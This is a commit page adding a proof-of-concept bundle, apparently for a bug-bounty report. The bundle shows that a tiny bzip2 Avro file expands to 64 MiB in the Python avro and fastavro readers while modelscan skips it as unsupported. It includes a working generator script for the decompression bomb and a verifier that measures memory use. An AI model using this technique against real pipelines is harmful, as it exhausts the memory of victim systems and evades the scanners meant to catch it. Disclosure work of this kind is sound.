pragnyanramtha commited on
Commit
9736740
·
verified ·
1 Parent(s): 4cb5a91

Add benign Apache Avro parser-DoS PoC bundle

Browse files
README.md ADDED
@@ -0,0 +1,28 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Apache Avro benign parser-DoS PoC
2
+
3
+ This PoC demonstrates a scanner/runtime mismatch for Avro artifacts in ML-adjacent pipelines:
4
+
5
+ - `modelscan` does not treat `.avro` as a supported model file type and skips it.
6
+ - Python `avro` and `fastavro` fully decompress an Avro object-container block before yielding the first record.
7
+ - A small compressed `.avro` file can therefore trigger disproportionate memory and CPU work when used for ML dataset shards, metadata bundles, or checkpoint-adjacent binary blobs.
8
+
9
+ ## Files
10
+
11
+ - `generate_poc.py` - builds a benign `.avro` artifact with a highly compressible `tensor_bytes` payload
12
+ - `verifier.py` - reads the artifact with both Python runtimes, captures working-set deltas, and records `modelscan` output
13
+ - `artifacts/avro_bzip2_dos.avro` - staged benign artifact
14
+ - `results/results.json` - summarized run output
15
+
16
+ ## Reproduce
17
+
18
+ ```powershell
19
+ cd C:\Users\Pragnyan\dev\huntr-exp1\avro
20
+ .\.venv\Scripts\python.exe .\hf_avro_poc\generate_poc.py
21
+ .\.venv\Scripts\python.exe .\hf_avro_poc\verifier.py
22
+ ```
23
+
24
+ ## Expected outcome
25
+
26
+ - Artifact size is tiny relative to the uncompressed payload.
27
+ - Both readers report `tensor_bytes_len` equal to the large embedded payload.
28
+ - `modelscan` reports the file as skipped or unsupported, leaving the runtime behavior unanalyzed.
SHA256SUMS.txt ADDED
@@ -0,0 +1 @@
 
 
1
+ ce4aa3f5829c42070a1ac7421881d56724149e720edb2d97325a9d3ae8a5ee71 artifacts/avro_bzip2_dos.avro
VERSIONS.md ADDED
@@ -0,0 +1,7 @@
 
 
 
 
 
 
 
 
1
+ # Versions
2
+
3
+ - Python: 3.12.12
4
+ - Apache Avro (Python): 1.12.1
5
+ - fastavro: 1.12.2
6
+ - modelscan: 0.8.8
7
+ - Verification date: 2026-05-12
artifacts/avro_bzip2_dos.avro ADDED
Binary file (486 Bytes). View file
 
generate_poc.py ADDED
@@ -0,0 +1,68 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import argparse
2
+ import hashlib
3
+ import json
4
+ from pathlib import Path
5
+
6
+ import avro.io
7
+ import avro.schema
8
+ from avro.datafile import DataFileWriter
9
+
10
+
11
+ SCHEMA_JSON = {
12
+ "type": "record",
13
+ "name": "ModelShard",
14
+ "namespace": "org.example.ml",
15
+ "fields": [
16
+ {"name": "tensor_name", "type": "string"},
17
+ {"name": "tensor_bytes", "type": "bytes"},
18
+ {"name": "notes", "type": "string"},
19
+ ],
20
+ }
21
+
22
+
23
+ def sha256_file(path: Path) -> str:
24
+ h = hashlib.sha256()
25
+ with path.open("rb") as handle:
26
+ for chunk in iter(lambda: handle.read(1024 * 1024), b""):
27
+ h.update(chunk)
28
+ return h.hexdigest()
29
+
30
+
31
+ ROOT = Path(__file__).resolve().parent
32
+
33
+
34
+ def main() -> None:
35
+ parser = argparse.ArgumentParser(description="Generate a benign Avro decompression-DoS PoC artifact.")
36
+ parser.add_argument("--output", default=str(ROOT / "artifacts" / "avro_bzip2_dos.avro"))
37
+ parser.add_argument("--size-mib", type=int, default=64)
38
+ parser.add_argument("--codec", default="bzip2")
39
+ args = parser.parse_args()
40
+
41
+ out_path = Path(args.output)
42
+ out_path.parent.mkdir(parents=True, exist_ok=True)
43
+
44
+ payload = b"A" * (args.size_mib * 1024 * 1024)
45
+ schema = avro.schema.parse(json.dumps(SCHEMA_JSON))
46
+ datum = {
47
+ "tensor_name": "dense.weight",
48
+ "tensor_bytes": payload,
49
+ "notes": "Benign PoC: repetitive bytes to demonstrate block decompression before first record yield.",
50
+ }
51
+
52
+ with out_path.open("wb") as handle:
53
+ writer = DataFileWriter(handle, avro.io.DatumWriter(), schema, codec=args.codec)
54
+ writer.append(datum)
55
+ writer.close()
56
+
57
+ info = {
58
+ "artifact": str(out_path),
59
+ "codec": args.codec,
60
+ "payload_bytes": len(payload),
61
+ "artifact_bytes": out_path.stat().st_size,
62
+ "sha256": sha256_file(out_path),
63
+ }
64
+ print(json.dumps(info, indent=2))
65
+
66
+
67
+ if __name__ == "__main__":
68
+ main()
results/modelscan_report.json ADDED
@@ -0,0 +1 @@
 
 
1
+ {"summary": {"total_issues_by_severity": {"LOW": 0, "MEDIUM": 0, "HIGH": 0, "CRITICAL": 0}, "total_issues": 0, "input_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\artifacts\\avro_bzip2_dos.avro", "absolute_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\artifacts", "modelscan_version": "0.8.8", "timestamp": "2026-05-12T12:52:23.702491", "scanned": {"total_scanned": 0}, "skipped": {"total_skipped": 1, "skipped_files": [{"category": "SCAN_NOT_SUPPORTED", "description": "Model Scan did not scan file", "source": "avro_bzip2_dos.avro"}]}}, "issues": [], "errors": []}
results/modelscan_stderr.txt ADDED
File without changes
results/modelscan_stdout.txt ADDED
@@ -0,0 +1,12 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ No settings file detected at C:\Users\Pragnyan\dev\huntr-exp1\avro\modelscan-settings.toml. Using defaults.
2
+
3
+ {"summary": {"total_issues_by_severity": {"LOW": 0, "MEDIUM": 0, "HIGH": 0,
4
+ "CRITICAL": 0}, "total_issues": 0, "input_path":
5
+ "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\artifacts\\avro_bzip2
6
+ _dos.avro", "absolute_path":
7
+ "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\artifacts",
8
+ "modelscan_version": "0.8.8", "timestamp": "2026-05-12T12:52:23.702491",
9
+ "scanned": {"total_scanned": 0}, "skipped": {"total_skipped": 1,
10
+ "skipped_files": [{"category": "SCAN_NOT_SUPPORTED", "description": "Model Scan
11
+ did not scan file", "source": "avro_bzip2_dos.avro"}]}}, "issues": [],
12
+ "errors": []}
results/results.json ADDED
@@ -0,0 +1,81 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "artifact": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\artifacts\\avro_bzip2_dos.avro",
3
+ "artifact_bytes": 486,
4
+ "artifact_sha256": "ce4aa3f5829c42070a1ac7421881d56724149e720edb2d97325a9d3ae8a5ee71",
5
+ "payload_bytes": 67108864,
6
+ "compression_ratio": 138084.08,
7
+ "versions": {
8
+ "python": "3.12.12 (main, Oct 28 2025, 14:15:42) [MSC v.1944 64 bit (AMD64)]",
9
+ "avro": "1.12.1",
10
+ "fastavro": "1.12.2"
11
+ },
12
+ "results": {
13
+ "avro": {
14
+ "library": "avro",
15
+ "elapsed_seconds": 0.2747,
16
+ "working_set_before": 22327296,
17
+ "working_set_after": 157544448,
18
+ "peak_working_set": 161169408,
19
+ "pagefile_after": 149045248,
20
+ "tensor_name": "dense.weight",
21
+ "tensor_bytes_len": 67108864
22
+ },
23
+ "fastavro": {
24
+ "library": "fastavro",
25
+ "elapsed_seconds": 0.2783,
26
+ "working_set_before": 22315008,
27
+ "working_set_after": 89837568,
28
+ "peak_working_set": 160251904,
29
+ "pagefile_after": 80330752,
30
+ "tensor_name": "dense.weight",
31
+ "tensor_bytes_len": 67108864
32
+ }
33
+ },
34
+ "modelscan": {
35
+ "command": [
36
+ "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\.venv\\Scripts\\modelscan.exe",
37
+ "scan",
38
+ "-p",
39
+ "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\artifacts\\avro_bzip2_dos.avro",
40
+ "--show-skipped",
41
+ "-r",
42
+ "json",
43
+ "-o",
44
+ "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\results\\modelscan_report.json"
45
+ ],
46
+ "returncode": 3,
47
+ "stdout": "No settings file detected at C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\modelscan-settings.toml. Using defaults. \n\n{\"summary\": {\"total_issues_by_severity\": {\"LOW\": 0, \"MEDIUM\": 0, \"HIGH\": 0, \n\"CRITICAL\": 0}, \"total_issues\": 0, \"input_path\": \n\"C:\\\\Users\\\\Pragnyan\\\\dev\\\\huntr-exp1\\\\avro\\\\hf_avro_poc\\\\artifacts\\\\avro_bzip2\n_dos.avro\", \"absolute_path\": \n\"C:\\\\Users\\\\Pragnyan\\\\dev\\\\huntr-exp1\\\\avro\\\\hf_avro_poc\\\\artifacts\", \n\"modelscan_version\": \"0.8.8\", \"timestamp\": \"2026-05-12T12:52:23.702491\", \n\"scanned\": {\"total_scanned\": 0}, \"skipped\": {\"total_skipped\": 1, \n\"skipped_files\": [{\"category\": \"SCAN_NOT_SUPPORTED\", \"description\": \"Model Scan\ndid not scan file\", \"source\": \"avro_bzip2_dos.avro\"}]}}, \"issues\": [], \n\"errors\": []}\n",
48
+ "stderr": "",
49
+ "report_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\results\\modelscan_report.json",
50
+ "report": {
51
+ "summary": {
52
+ "total_issues_by_severity": {
53
+ "LOW": 0,
54
+ "MEDIUM": 0,
55
+ "HIGH": 0,
56
+ "CRITICAL": 0
57
+ },
58
+ "total_issues": 0,
59
+ "input_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\artifacts\\avro_bzip2_dos.avro",
60
+ "absolute_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\artifacts",
61
+ "modelscan_version": "0.8.8",
62
+ "timestamp": "2026-05-12T12:52:23.702491",
63
+ "scanned": {
64
+ "total_scanned": 0
65
+ },
66
+ "skipped": {
67
+ "total_skipped": 1,
68
+ "skipped_files": [
69
+ {
70
+ "category": "SCAN_NOT_SUPPORTED",
71
+ "description": "Model Scan did not scan file",
72
+ "source": "avro_bzip2_dos.avro"
73
+ }
74
+ ]
75
+ }
76
+ },
77
+ "issues": [],
78
+ "errors": []
79
+ }
80
+ }
81
+ }
verifier.py ADDED
@@ -0,0 +1,187 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import argparse
2
+ import ctypes
3
+ from ctypes import wintypes
4
+ import gc
5
+ import hashlib
6
+ import json
7
+ import os
8
+ import subprocess
9
+ import sys
10
+ import time
11
+ from pathlib import Path
12
+
13
+ import avro
14
+ import fastavro
15
+
16
+
17
+ ROOT = Path(__file__).resolve().parent
18
+ ARTIFACT = ROOT / "artifacts" / "avro_bzip2_dos.avro"
19
+ RESULTS_DIR = ROOT / "results"
20
+ GENERATOR = ROOT / "generate_poc.py"
21
+
22
+
23
+ class PROCESS_MEMORY_COUNTERS(ctypes.Structure):
24
+ _fields_ = [
25
+ ("cb", wintypes.DWORD),
26
+ ("PageFaultCount", wintypes.DWORD),
27
+ ("PeakWorkingSetSize", ctypes.c_size_t),
28
+ ("WorkingSetSize", ctypes.c_size_t),
29
+ ("QuotaPeakPagedPoolUsage", ctypes.c_size_t),
30
+ ("QuotaPagedPoolUsage", ctypes.c_size_t),
31
+ ("QuotaPeakNonPagedPoolUsage", ctypes.c_size_t),
32
+ ("QuotaNonPagedPoolUsage", ctypes.c_size_t),
33
+ ("PagefileUsage", ctypes.c_size_t),
34
+ ("PeakPagefileUsage", ctypes.c_size_t),
35
+ ]
36
+
37
+
38
+ def working_set() -> dict[str, int]:
39
+ get_process_memory_info = ctypes.windll.psapi.GetProcessMemoryInfo
40
+ get_process_memory_info.argtypes = [wintypes.HANDLE, ctypes.POINTER(PROCESS_MEMORY_COUNTERS), wintypes.DWORD]
41
+ get_process_memory_info.restype = wintypes.BOOL
42
+ counters = PROCESS_MEMORY_COUNTERS()
43
+ counters.cb = ctypes.sizeof(PROCESS_MEMORY_COUNTERS)
44
+ ok = get_process_memory_info(
45
+ ctypes.windll.kernel32.GetCurrentProcess(),
46
+ ctypes.byref(counters),
47
+ counters.cb,
48
+ )
49
+ if not ok:
50
+ raise ctypes.WinError()
51
+ return {
52
+ "working_set": int(counters.WorkingSetSize),
53
+ "peak_working_set": int(counters.PeakWorkingSetSize),
54
+ "pagefile": int(counters.PagefileUsage),
55
+ }
56
+
57
+
58
+ def sha256_file(path: Path) -> str:
59
+ h = hashlib.sha256()
60
+ with path.open("rb") as handle:
61
+ for chunk in iter(lambda: handle.read(1024 * 1024), b""):
62
+ h.update(chunk)
63
+ return h.hexdigest()
64
+
65
+
66
+ def run_child(library: str) -> dict:
67
+ cmd = [sys.executable, str(Path(__file__).resolve()), "--child", library, "--artifact", str(ARTIFACT)]
68
+ proc = subprocess.run(cmd, capture_output=True, text=True, check=True)
69
+ return json.loads(proc.stdout)
70
+
71
+
72
+ def child_main(library: str, artifact: Path) -> None:
73
+ gc.collect()
74
+ before = working_set()
75
+ t0 = time.perf_counter()
76
+
77
+ if library == "avro":
78
+ import avro.io
79
+ from avro.datafile import DataFileReader
80
+
81
+ with artifact.open("rb") as handle:
82
+ reader = DataFileReader(handle, avro.io.DatumReader())
83
+ record = next(iter(reader))
84
+ reader.close()
85
+ elif library == "fastavro":
86
+ with artifact.open("rb") as handle:
87
+ record = next(fastavro.reader(handle))
88
+ else:
89
+ raise SystemExit(f"unknown library: {library}")
90
+
91
+ elapsed = time.perf_counter() - t0
92
+ after = working_set()
93
+ result = {
94
+ "library": library,
95
+ "elapsed_seconds": round(elapsed, 4),
96
+ "working_set_before": before["working_set"],
97
+ "working_set_after": after["working_set"],
98
+ "peak_working_set": after["peak_working_set"],
99
+ "pagefile_after": after["pagefile"],
100
+ "tensor_name": record["tensor_name"],
101
+ "tensor_bytes_len": len(record["tensor_bytes"]),
102
+ }
103
+ print(json.dumps(result))
104
+
105
+
106
+ def run_modelscan(artifact: Path) -> dict:
107
+ report_path = RESULTS_DIR / "modelscan_report.json"
108
+ cmd = [
109
+ str(ROOT.parent / ".venv" / "Scripts" / "modelscan.exe"),
110
+ "scan",
111
+ "-p",
112
+ str(artifact),
113
+ "--show-skipped",
114
+ "-r",
115
+ "json",
116
+ "-o",
117
+ str(report_path),
118
+ ]
119
+ proc = subprocess.run(cmd, capture_output=True, text=True)
120
+ report = None
121
+ if report_path.exists():
122
+ report = json.loads(report_path.read_text(encoding="utf-8"))
123
+ raw = {
124
+ "command": cmd,
125
+ "returncode": proc.returncode,
126
+ "stdout": proc.stdout,
127
+ "stderr": proc.stderr,
128
+ "report_path": str(report_path),
129
+ "report": report,
130
+ }
131
+ return raw
132
+
133
+
134
+ def ensure_artifact() -> None:
135
+ if ARTIFACT.exists():
136
+ return
137
+ subprocess.run(
138
+ [sys.executable, str(GENERATOR), "--output", str(ARTIFACT)],
139
+ cwd=str(ROOT),
140
+ check=True,
141
+ )
142
+
143
+
144
+ def main() -> None:
145
+ parser = argparse.ArgumentParser(description="Verify the Avro benign DoS PoC.")
146
+ parser.add_argument("--child", choices=["avro", "fastavro"])
147
+ parser.add_argument("--artifact", default=str(ARTIFACT))
148
+ args = parser.parse_args()
149
+
150
+ artifact = Path(args.artifact)
151
+ if args.child:
152
+ child_main(args.child, artifact)
153
+ return
154
+
155
+ RESULTS_DIR.mkdir(parents=True, exist_ok=True)
156
+ ensure_artifact()
157
+
158
+ avro_result = run_child("avro")
159
+ fastavro_result = run_child("fastavro")
160
+ modelscan_result = run_modelscan(artifact)
161
+
162
+ summary = {
163
+ "artifact": str(artifact),
164
+ "artifact_bytes": artifact.stat().st_size,
165
+ "artifact_sha256": sha256_file(artifact),
166
+ "payload_bytes": avro_result["tensor_bytes_len"],
167
+ "compression_ratio": round(avro_result["tensor_bytes_len"] / artifact.stat().st_size, 2),
168
+ "versions": {
169
+ "python": sys.version,
170
+ "avro": avro.__version__,
171
+ "fastavro": fastavro.__version__,
172
+ },
173
+ "results": {
174
+ "avro": avro_result,
175
+ "fastavro": fastavro_result,
176
+ },
177
+ "modelscan": modelscan_result,
178
+ }
179
+
180
+ (RESULTS_DIR / "results.json").write_text(json.dumps(summary, indent=2), encoding="utf-8")
181
+ (RESULTS_DIR / "modelscan_stdout.txt").write_text(modelscan_result["stdout"], encoding="utf-8")
182
+ (RESULTS_DIR / "modelscan_stderr.txt").write_text(modelscan_result["stderr"], encoding="utf-8")
183
+ print(json.dumps(summary, indent=2))
184
+
185
+
186
+ if __name__ == "__main__":
187
+ main()